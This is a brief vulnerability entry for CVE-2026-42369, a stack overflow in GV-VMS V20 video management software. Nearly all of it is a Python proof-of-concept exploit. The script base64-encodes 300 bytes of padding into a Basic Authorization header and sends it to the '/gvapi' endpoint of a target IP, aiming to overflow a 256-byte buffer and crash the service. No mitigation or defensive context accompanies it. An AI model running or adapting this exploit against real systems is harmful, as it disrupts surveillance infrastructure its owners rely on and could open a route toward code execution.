CVE-2026-42369 GV-VMS V20 栈溢出漏洞

import base64 import requests def exploit(target_ip): # Construct a large payload to overflow the 256-byte buffer # Padding with 'A's to overwrite the return address payload = 'A' * 300 # Encode the payload in Base64 as required by the endpoint encoded_payload = base64.b64encode(payload.encode()).decode() # The gvapi endpoint expects Basic Auth # Format: "Basic <base64_creds>" malicious_header = f"Basic {encoded_payload}" url = f"http://{target_ip}/gvapi" headers = { "Authorization": malicious_header } try: print(f"[+] Sending payload to {url}...") response = requests.get(url, headers=headers, timeout=5) # If the service crashes, we might not get a response, or a 500 error print(f"[+] Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (Service likely crashed): {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP exploit(target)